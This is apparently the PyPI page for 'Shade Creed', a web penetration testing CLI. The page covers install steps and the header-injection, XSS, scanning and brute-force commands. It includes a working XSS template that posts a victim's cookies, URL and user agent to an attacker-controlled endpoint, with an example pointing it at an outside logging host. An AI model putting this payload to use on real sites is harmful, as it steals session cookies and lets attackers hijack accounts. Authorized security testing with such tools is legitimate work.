Skip to main content

A CLI framework for web application assessments and penetration testing — built with modularity, continuous maintenance, and frequent updates in mind.

Project description

PyPI - Version PyPI Downloads Platform License Facebook YouTube WhatsApp Instagram

Shade Creed is a command-line penetration testing toolkit designed for web application assessment. It provides tools to inject custom headers, deploy and test XSS payloads, and scan for common vulnerabilities. Built with modularity in mind, it allows you to dynamically customize and deploy payloads for real-world testing scenarios.

Version: 1.14.9 Platform: Linux / Android & Cross platform compatible


✨ Features

  • Custom HTTP/HTTPS header injection (supports multiple methods)
  • Dynamic XSS payload creation and deployment
  • Lightweight vulnerability scanner
  • Quick bruteforce setup
  • Proxy support (basic)

📦 Installation

pip install shadecreed

Additional packages : cloudflared && Chromium

Installation:

Android (termux)
pkg install cloudflared
pkg install x11-repo tur-repo chromium
Macos
brew install cloudflared 
brew install --cask chromium
Windows

cloudflared:

  1. Visit the official download page: 👉 https://developers.cloudflare.com/cloudflared/install-windows
  2. Download the latest cloudflared-windows-amd64.exe.
  3. Rename the downloaded file to cloudflared.exe.
  4. Move it to a folder like C:\cloudflared.
  5. Add that folder to your System PATH: Open System Properties > Environment Variables Under System variables, find and edit Path Add: C:\cloudflared\
  6. Verify installation: cloudflared --version

chromium:

  1. Find a reliable source: Websites like Woolyss offer pre-built versions of Chromium.
  2. Download the appropriate version: Choose the correct 32-bit or 64-bit version for your system.
  3. Run the installer: Follow the on-screen instructions to install Chromium.
  4. Test the installation: Launch Chromium and verify that it opens and functions correctly.
Linux distros

Download the latest cloudflared binary:

wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

Make it executable:

chmod +x cloudflared-linux-amd64

Move it to a directory in your system PATH:

sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared

Verify installation:

cloudflared --version

For chromium installation, help yourself.


⚙️ CLI Tools

1. shadecreed

Description:

Main entry point for the framework.

usage: shadecreed [-h] -u URL

Options:

  • -h, --help Show help message and exit
  • -u URL, --url URL Target URL to launch framework
  • -v, --version Display version

2. shadecreed-inject

Description:

Injects custom headers into HTTP(S) requests.

usage: shadecreed-inject [-h] -u URL [-m {GET,POST,PUT,DELETE}] [-s HEADER] [-p PROXY] [-r REDIRECT]

Options:

  • -h, --help Show help message and exit
  • -u URL, --url URL Target URL
  • -m, --method {GET,POST,PUT,DELETE} HTTP method to use (default: GET)
  • -s HEADER, --header HEADER Path to custom headers JSON
  • -p PROXY, --proxy PROXY Proxy in format host:port
  • -r REDIRECT, --redirect REDIRECT true - allow redirect otherwise do not provide this flag

3. shadecreed-xss

Description:

Customize and deploy XSS payloads to dynamic endpoints.

usage: shadecreed-xss [-h] -u, --url URL [--script SCRIPT] [--endpoint ENDPOINT]

Options:

  • -h, --help Show help message and exit
  • --url URL Target URL
  • --script SCRIPT Path to XSS script template
  • --endpoint ENDPOINT Custom receiving endpoint

4. shadecreed-scan

Description:

Scans a target for vulnerabilities.

usage: shadecreed-scan [-h] --url URL

Options:

  • -h, --help Show help message and exit
  • --url URL Target URL

5. shadecreed-brute

Description:

Run custom brute force on admin login pages.

shadecreed-brute [-h] --url URL --redirect [true]

⚠️ Note: To prevent abuse, it can only attempt 10 passwords.

Options:

  • -h, --help Show help message and exit
  • -u, --url Target URL
  • -r, --redirect [true] - if you intend to allow redirects otherwise, do not provide this flag.

📂 Example Commands

Run the main framework:

shadecreed -u https://example.com

Inject custom header using POST:

shadecreed-inject -u https://target.com/api -m POST -s headers.json/.scdb -r true

Deploy custom XSS script:

shadecreed-xss --url https://target.com/page --script payload.js --endpoint https://mycustomendpoint.com/log

Test custom endpoint:

shadecreed-test <Custom_Endpoint>

Scan a site for vulnerabilities:

shadecreed-scan --url https://victim.com

Perform custom bruteforce:

shadecreed-brute --url https://myhome/admin --redirect true

🕷️ Custom XSS Template

You can craft custom XSS scripts using the {{endpoint}} placeholder which will be replaced during deployment:

<script>
  var data = {
    cookies: document.cookie,
    location: window.location.href,
    userAgent: navigator.userAgent
  };
  fetch("{{endpoint}}", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  });
</script>

Save the above as payload.js and pass it using the --script flag.


⚠️ Disclaimer

Shade Creed is built for educational and authorized security testing only. The developer is not responsible for any misuse or illegal activity.


Goodluck Pentesting! ✨

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

shadecreed-1.14.10.tar.gz (38.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

shadecreed-1.14.10-py3-none-any.whl (41.4 kB view details)

Uploaded Python 3

File details

Details for the file shadecreed-1.14.10.tar.gz.

File metadata

  • Download URL: shadecreed-1.14.10.tar.gz
  • Upload date:
  • Size: 38.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.2

File hashes

Hashes for shadecreed-1.14.10.tar.gz
Algorithm Hash digest
SHA256 221942bfb1c06b0d3d826db660df380baa72eba770a847e4d525f5dbbe356500
MD5 24291029f00fd5ba14efc80b953bd2e2
BLAKE2b-256 5d227ddeda89f63530297ca301f0654ae5c2e1df74f9b1e517f74dba81650264

See more details on using hashes here.

File details

Details for the file shadecreed-1.14.10-py3-none-any.whl.

File metadata

  • Download URL: shadecreed-1.14.10-py3-none-any.whl
  • Upload date:
  • Size: 41.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.2

File hashes

Hashes for shadecreed-1.14.10-py3-none-any.whl
Algorithm Hash digest
SHA256 23a3fdb9b35ad0e6cb55cbd576d56a68a8f3a93ce19b078cc76ac2663ef31f43
MD5 84ac8a4b11f725db6575b66230ac46a6
BLAKE2b-256 acdc7d0ec4faf35b550facc36f3784a92b5e01b9d4fda374f8064439829df827

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page